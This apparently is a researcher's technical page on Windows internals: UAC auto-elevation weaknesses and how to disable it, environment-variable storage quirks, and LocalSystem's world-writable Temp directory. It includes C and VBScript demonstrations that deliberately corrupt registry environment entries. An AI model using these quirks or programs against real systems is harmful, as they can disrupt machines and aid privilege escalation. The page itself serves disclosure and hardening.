The well-known latin proverb
quod non est in actis, non est in mundo.
(english
What is not in the documents does not exist.
) does not apply
here.
User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).How to disable User Account Control (UAC) on Windows Server Windows Vista® introduced the
security feature(really: security theatre) User Account Control: programs which need or want to be run with administrative privileges and access rights have to ask the user for consent.
This made some (really: a minority of) users quite angry: although
these (rather braindead) users continued to abuse
the (privileged) Protected Administrator
account created
during Windows Setup for their daily work (instead to
follow best practise
and use an unprivileged limited
alias standard
user account), they had to answer a prompt
whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened
the security feature
(really:
security nightmare): Windows 7
introduced auto-elevation
and enabled it for some 55 programs
shipped with Windows 7 and later versions, which
don’t prompt for consent any more.
Due to flaws in the design and deficiencies in the implementation of
User Account Control it can be bypassed trivially in
numerous ways with its auto-elevation
(mis)feature enabled.
As result, arbitrary programs can then be run with administrative
privileges and access rights without prompting the user for consent.
To defeat some of these trivial bypasses, auto-elevation
must
be disabled by moving the slider of the
User Account Control setting to its highest position
titled Always notify
, as documented and shown in the
MSKB
articles
975787
and
4462938.
Caveat: the slider position shown by the graphical
user interface but does not always match the
effective setting – it shows Always notify
even if the
default setting
Notify me only when programs try to make changes to my computer
is configured!
Log on to the
user Protected Administrator
account created during Windows Setup.
Start one of the programs which have auto-elevation
enabled,
for example
NetPlWiz.exe
,
PrintUI.exe
or
WUSA.exe
:
they start without to prompt for consent.
Open Control Panel, then User Accounts and
click Change User Account Control setting
: move the slider to
its highest position titled Always notify
and click the
button to apply the changed setting.
Run the command line
"%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc"
to start the
Local Group Policy Editor snap-in of
the Microsoft Management Console, or
run the command line
"%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc"
to start the Local Security Policy
snap-in, answer the prompt for consent, then open the
Local Policies
folder and the Security Options
subfolder below it: the policy
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
is shown as Prompt for consent on the secure desktop
,
properly matching the setting changed in step 3.
Repeat step 2.: the auto-elevating programs prompt for consent now.
Start RegEdit.exe
, answer the
prompt for consent, then open the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
and delete the DWORD
registry entry
ConsentPromptBehaviorAdmin
present there.
Repeat step 4.: the policy
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
is now properly shown as Not Defined
.
Open Control Panel, then User Accounts
and click Change User Account Control setting
: the slider
is still shown in its highest position Always notify
.
Repeat step 2.: despite the unchanged slider
position Always notify
the auto-elevating programs
don’t prompt for consent any more!
setting, but abuses a registry entry reserved for a
policyinstead, it misinterprets the default policy value
Not Definedand violates the more than 25 year old Designed for Windows guidelines!
[HKEY_CURRENT_USER\Software\‹company›\‹application›]
"‹setting›"=…
or as
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹application›]
"‹setting›"=…
[HKEY_CURRENT_USER\Software\Policies\‹company›\‹application›]
"‹policy›"=…
or as
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹application›]
"‹policy›"=…
[HKEY_LOCAL_MACHINE\SOFTWARE\‹company›\‹application›]
"‹setting›"=…
or as
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹application›]
"‹setting›"=…
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company›\‹application›]
"‹policy›"=…
or as
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹application›]
"‹policy›"=…
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).By default, a child process inherits the environment variables of its parent process. […]
[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]
Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.Both articles but fail to tell that two kinds of user environment variables exist, persistent and volatile, that volatile environment variables obscure persistent environment variables with the same name, how to add, modify or remove them, and where they are stored: persistent user environment variables are stored in the registry keyBy default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]
HKEY_CURRENT_USER\Environment
alias
HKEY_USERS\‹security identifier›\Environment
,
while volatile user environment variables are stored in the
(volatile) registry key
HKEY_CURRENT_USER\Volatile Environment
alias
HKEY_USERS\‹security identifier›\Volatile Environment
,
where they are created during user logon and discarded when the user
logs off.
HKEY_CURRENT_USER
The articles also fail to tell that user environment variables obscure system environment variables of the same name – with but four notable exceptions:
LibPath
,
OS2LibPath
and Path
are assigned to the
respective process environment variable during user logon;
NT AUTHORITY\SYSTEM
alias
LocalSystem
get the system environment variables TEMP
and
TMP
instead of the respective user environment
variables!
Thanks
to the braindead (mis)behaviour
listed last, privileged processes running under the user account
NT AUTHORITY\SYSTEM
alias
LocalSystem
use the public user-writable and therefore unsafe
directory %SystemRoot%\Temp\
instead of their private
and safe directory
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
,
allowing unprivileged users to tamper with (executable) files
created there by these privileged processes, eventually resulting in
local escalation of privilege.
Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.
And both articles fail to tell that not all system environment
variables are stored in the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
:
the system environment variables ALLUSERSPROFILE
,
COMPUTERNAME
, PROCESSOR_ARCHITEW6432
,
PUBLIC
, CommonProgramFiles
,
CommonProgramFiles(x86)
,
CommonProgramW6432
,
ProgramData
, ProgramFiles
,
ProgramFiles(x86)
, ProgramW6432
,
SystemDrive
and SystemRoot
are created
programmatically.
Note: they are but obscured by persistent system environment variables as well as persistent and volatile user environment variables with the same name stored in the registry keys shown above!
The MSDN article WOW64 Implementation Details states:
When a 32-bit process is created by a 64-bit process, or when a 64-bit process is created by a 32-bit process, WOW64 sets the environment variables for the created process as shown in the following table.
Process Environment variables 64-bit process PROCESSOR_ARCHITECTURE=AMD64 or PROCESSOR_ARCHITECTURE=IA64 or PROCESSOR_ARCHITECTURE=ARM64
ProgramFiles=%ProgramFiles%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles%
CommonProgramW6432=%CommonProgramFiles%
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The ProgramW6432 and CommonProgramW6432 environment variables were added starting with Windows 7 and Windows Server 2008 R2.32-bit process PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITECTURE%
ProgramFiles=%ProgramFiles(x86)%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles(x86)%
CommonProgramW6432=%CommonProgramFiles%
%SystemRoot%\Profiles\%USERNAME%\
into new directories
%SystemDrive%\Documents and Settings\%USERNAME%\
.
NT AUTHORITY\SYSTEM
alias
LocalSystem
in the new directory
%SystemRoot%\System32\Config\SystemProfile\
.
Note: its location was a rather braindead
choice, as it is subject to
file system redirection
on 64-bit editions of Windows NT, where two separate
directories
%SystemRoot%\System32\Config\SystemProfile\
and
%SystemRoot%\SysWoW64\Config\SystemProfile\
exist!
The world-writable Temp
directory
%SystemRoot%\Temp\
, shared by all users in previous
versions of Windows NT, was replaced with separate
private Temp
directories
%USERPROFILE%\Local Settings\Temp\
alias
%SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\
located within the user profiles – except for
the
LocalSystem
user account, which continued (and still continues) to use the
(still world-writable) directory %SystemRoot%\Temp\
!
Windows XP added the (unprivileged) user accounts
NT AUTHORITY\LOCAL SERVICE
alias
LocalService
and NT AUTHORITY\NETWORK SERVICE
alias
NetworkService
,
placed their user profiles in the directories
%SystemDrive%\Documents and Settings\LocalService\
and
%SystemDrive%\Documents and Settings\NetworkService\
,
set their user environment variables TEMP
and
TMP
to %USERPROFILE%\Local Settings\Temp
,
and created a private Temp
directory within both user
profiles.
Windows Vista relocated these two service profiles to
the new directories
%SystemRoot%\ServiceProfiles\LocalService\
and
%SystemRoot%\ServiceProfiles\NetworkService\
, relocated
all normal user profiles
%SystemDrive%\Documents and Settings\%USERNAME%\
to
the directories %SystemDrive%\Users\%USERNAME%\
, and
kept the profile
%SystemRoot%\System32\Config\SystemProfile\
.
All user accounts except
LocalSystem
kept their private Temp
directory, now
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\
for
the normal user accounts and
%SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\
respectively
%SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\
for the service user accounts.
At least since Windows 7 the user environment variables
TEMP
and TMP
are set in the
LocalSystem
user account too, despite the directory
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
is missing in its user profile!
The MSDN article Profiles Directory provides additional information.
Create the text file quirk1.vbs
with the following
content in an arbitrary directory:
Rem Copyright © 1999-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
WScript.Echo "Environment Variables"
For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
WScript.Echo
WScript.Echo "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
For Each strItem In .Environment(strScope)
WScript.Echo vbTab & strItem
Next
Next
End With
Execute the
VBScript
quirk1.vbs
created in step 1. under the
LocalSystem
user account to list the environment variables of all scopes:
CSCRIPT.EXE quirk1.vbs
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Environment Variables Scope 'PROCESS': 36 items =C:=C:\Windows\System32 =ExitCode=00000000 ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Windows\system32 LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERDOMAIN=KANTHAK USERNAME=System USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows Scope 'SYSTEM': 15 items ComSpec=%SystemRoot%\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData OS=Windows_NT Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\ TEMP=%SystemRoot%\TEMP TMP=%SystemRoot%\TEMP USERNAME=SYSTEM windir=%SystemRoot% NUMBER_OF_PROCESSORS=2 PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a Scope 'USER': 3 items PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP=%USERPROFILE%\AppData\Local\Temp TMP=%USERPROFILE%\AppData\Local\Temp Scope 'VOLATILE': 0 itemsOops: although the user environment variables
TEMP
and TMP
exist, the process
environment variables TEMP
and TMP
were
set from the system environment variables!
Start the Command Processor under the
LocalSystem
user account, then list all environment variables and (the contents
of) the directory %LOCALAPPDATA%\
alias
%USERPROFILE%\AppData\Local\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\
to determine whether a subdirectory Temp\
exists there:
SET DIR /A "%LOCALAPPDATA%"
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Windows\system32 LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERDOMAIN=KANTHAK USERNAME=System USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\system32\config\systemprofile\AppData\Local 04/27/2019 08:15 PM <DIR> . 04/27/2019 08:15 PM <DIR> .. 04/27/2019 08:15 PM <DIR> Microsoft 0 File(s) 0 bytes 3 Dir(s) 9,876,543,210 bytes freeOops: a subdirectory
Temp\
does not
exist!
Query the registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
,
HKEY_USERS\S-1-5-18\Environment
and
HKEY_USERS\S-1-5-18\Volatile Environment
to list the
environment variables stored in the registry:
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"Note: the MSKB article 243300 gives the well-known SID
S-1-5-18
for the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment ComSpec REG_EXPAND_SZ %SystemRoot%\system32\cmd.exe DriverData REG_SZ C:\Windows\System32\Drivers\DriverData NUMBER_OF_PROCESSORS REG_SZ 2 OS REG_SZ Windows_NT Path REG_EXPAND_SZ %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT REG_SZ .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE REG_SZ AMD64 PROCESSOR_IDENTIFIER REG_SZ Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL REG_SZ 6 PROCESSOR_REVISION REG_SZ 170a PSModulePath REG_EXPAND_SZ %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules TEMP REG_EXPAND_SZ %SystemRoot%\TEMP TMP REG_EXPAND_SZ %SystemRoot%\TEMP USERNAME REG_SZ SYSTEM windir REG_EXPAND_SZ %SystemRoot% HKEY_USERS\S-1-5-18\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp ERROR: The specified registry key or value was not found.
Query the registry keys HKEY_CURRENT_USER\Environment
and HKEY_CURRENT_USER\Volatile Environment
of a
standard user account for comparison:
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
HKEY_CURRENT_USER\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp HKEY_CURRENT_USER\Volatile Environment LOGONSERVER REG_SZ \\AMNESIAC USERDOMAIN REG_SZ AMNESIAC USERNAME REG_SZ Stefan USERPROFILE REG_SZ C:\Users\Stefan HOMEPATH REG_SZ \Users\Stefan HOMEDRIVE REG_SZ C: APPDATA REG_SZ C:\Users\Stefan\AppData\Roaming LOCALAPPDATA REG_SZ C:\Users\Stefan\AppData\Local USERDOMAIN_ROAMINGPROFILE REG_SZ AMNESIAC HKEY_CURRENT_USER\Volatile Environment\1 SESSIONNAME REG_SZ Console CLIENTNAME REG_SZ
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
,
then start the program
SystemPropertiesAdvanced.exe
,
click the button ,
replace the value %SystemRoot%\TEMP
of the system
environment variables TEMP
and TMP
with
%USERPROFILE%\AppData\Local\Temp
, save the changed
settings and reboot the system.
Caveat: on 64-bit systems, the disjoint directories might cause surprising (mis)behaviour!
Create the text file quirk1.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szQuirk[] = {L"ALLUSERSPROFILE",
L"APPDATA",
L"CommonAppData",
L"CommonProgramFiles",
L"CommonProgramFiles(x86)",
L"CommonProgramW6432",
L"COMSPEC",
L"DriverData",
L"HOMEDRIVE",
L"HOMEPATH",
L"LOCALAPPDATA",
L"PATH",
L"ProgramData",
L"ProgramFiles",
L"ProgramFiles(x86)",
L"ProgramW6432",
L"PSModulePath",
L"PUBLIC",
L"SystemDrive",
L"SystemRoot",
L"TEMP",
L"TMP",
L"USERPROFILE",
L"windir"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
DWORD dwQuirk = 0;
LPWSTR lpQuirk;
LPWSTR lpBlock;
HKEY hk;
HANDLE hToken;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#ifndef QUIRKS
do
if (!SetEnvironmentVariable(szQuirk[dwQuirk], L""))
PrintConsole(hConsole,
L"SetEnvironmentVariable() returned error %lu\n",
dwError = GetLastError());
while (++dwQuirk < sizeof(szQuirk) / sizeof(*szQuirk));
lpBlock = GetEnvironmentStrings();
if (lpBlock == NULL)
PrintConsole(hConsole,
L"GetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpQuirk = lpBlock;
lpQuirk[0] != L'\0';
lpQuirk[dwQuirk = wcslen(lpQuirk)] = L'\n', lpQuirk += dwQuirk + 1)
continue;
if (!WriteConsole(hConsole, lpBlock, lpQuirk - lpBlock, &dwQuirk, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwQuirk != lpQuirk - lpBlock)
dwError = ERROR_WRITE_FAULT;
else
dwError = ERROR_SUCCESS;
if (!FreeEnvironmentStrings(lpBlock))
PrintConsole(hConsole,
L"FreeEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
}
#else // QUIRKS
#if QUIRKS == 3
dwError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment",
#elif QUIRKS == 2
dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
L"Environment",
#elif QUIRKS <= 1
dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
L"Volatile Environment",
#else
#error QUIRKS out of range from 0 to 3!
#endif
REG_OPTION_RESERVED,
KEY_WRITE,
&hk);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"RegOpenKeyEx() returned error %lu\n",
dwError);
else
{
do
{
dwError = RegSetValueEx(hk,
szQuirk[dwQuirk],
0,
REG_SZ,
#if QUIRKS == 0
NULL,
0);
#else
L"",
sizeof(L""));
#endif
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"RegSetValueEx() returned error %lu\n",
dwError);
} while (++dwQuirk < sizeof(szQuirk) / sizeof(*szQuirk));
dwError = RegCloseKey(hk);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"RegCloseKey() returned error %lu\n",
dwError);
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
PrintConsole(hConsole,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
PrintConsole(hConsole,
L"CreateEnvironmentBlock() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpQuirk = lpBlock;
lpQuirk[0] != L'\0';
lpQuirk[dwQuirk = wcslen(lpQuirk)] = L'\n', lpQuirk += dwQuirk + 1)
continue;
if (!WriteConsole(hConsole, lpBlock, lpQuirk - lpBlock, &dwQuirk, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwQuirk != lpQuirk - lpBlock)
dwError = ERROR_WRITE_FAULT;
if (!DestroyEnvironmentBlock(lpBlock))
PrintConsole(hConsole,
L"DestroyEnvironmentBlock() returned error %lu\n",
GetLastError());
}
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
#endif // QUIRKS
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk1.c advapi32.lib kernel32.lib user32.lib userenv.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk1.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(98) : warning C4389: '!=' : signed/unsigned mismatch quirk1.c(65) : warning C4101: 'hToken' : unreferenced local variable quirk1.c(64) : warning C4101: 'hk' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Execute the console application quirk1.exe
built in
step 2. to show proper behaviour first:
.\quirk1.exe
=::=::\ =C:=C:\Users\Stefan\Desktop =ExitCode=00000000 ALLUSERSPROFILE= APPDATA= CL=/GAFy /Oisy /W4 /Zl CommonAppData= CommonProgramFiles= CommonProgramFiles(x86)= CommonProgramW6432= COMPUTERNAME=AMNESIAC ComSpec= DriverData= FP_NO_HOST_CHECK=NO HOMEDRIVE= HOMEPATH= LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE LOCALAPPDATA= LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path= PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData= ProgramFiles= ProgramFiles(x86)= ProgramW6432= PROMPT=$P$G PSModulePath= PUBLIC= SESSIONNAME=Console SystemDrive= SystemRoot= TEMP= TMP= USERDOMAIN=AMNESIAC USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERNAME=Stefan USERPROFILE= windir=Note: (all 24) empty environment variables are present in the process environment block.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
second time, now with the preprocessor macro QUIRKS
defined as 0:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=0 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(180) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Export the registry entries from the registry key
HKEY_CURRENT_USER\Volatile Environment
to the file
quirk1.reg
:
REG.EXE EXPORT "HKEY_CURRENT_USER\Volatile Environment" quirk1.reg
The operation completed successfully.
Execute the console application quirk1.exe
built in
step 4. to show the first bug:
.\quirk1.exe
ALLUSERSPROFILE=AMNESIAC APPDATA=Stefan CommonAppData=AMNESIAC CommonProgramFiles=AMNESIAC CommonProgramFiles(x86)=AMNESIAC CommonProgramW6432=AMNESIAC COMPUTERNAME=AMNESIAC ComSpec=AMNESIAC DriverData=AMNESIAC FP_NO_HOST_CHECK=NO HOMEDRIVE=Stefan HOMEPATH=Stefan LOCALAPPDATA=Stefan LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;AMNESIAC PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=AMNESIAC ProgramFiles=AMNESIAC ProgramFiles(x86)=AMNESIAC ProgramW6432=AMNESIAC PSModulePath=AMNESIAC PUBLIC=AMNESIAC SESSIONNAME=Console SystemDrive=AMNESIAC SystemRoot=AMNESIAC TEMP=AMNESIAC TMP=AMNESIAC USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERPROFILE=Stefan windir=AMNESIACOUCH: volatile user environment variables stored without value in the Registry are written to the environment block with the value of arbitrary other now missing environment variables, here
COMPUTERNAME
and USERPROFILE
, and they
obscure programmatic system environment variables!
(Optional) If you are curious, execute the following command line to tell the Shell that environment variables have changed and watch what happens when you start some applications:
SETX.EXE QUIRKS ""
SUCCESS: Specified value was saved.Note: when you've seen enough havoc and malfunctions, just log off and log on again, then continue with step 9. – volatile registry keys and their entries don’t survive logoff and shutdown!
Restore the (volatile) registry entries from the file
quirk1.reg
created in step 5.:
REG.EXE DELETE "HKEY_CURRENT_USER\Volatile Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
third time, now with the preprocessor macro QUIRKS
defined as 1:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=1 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
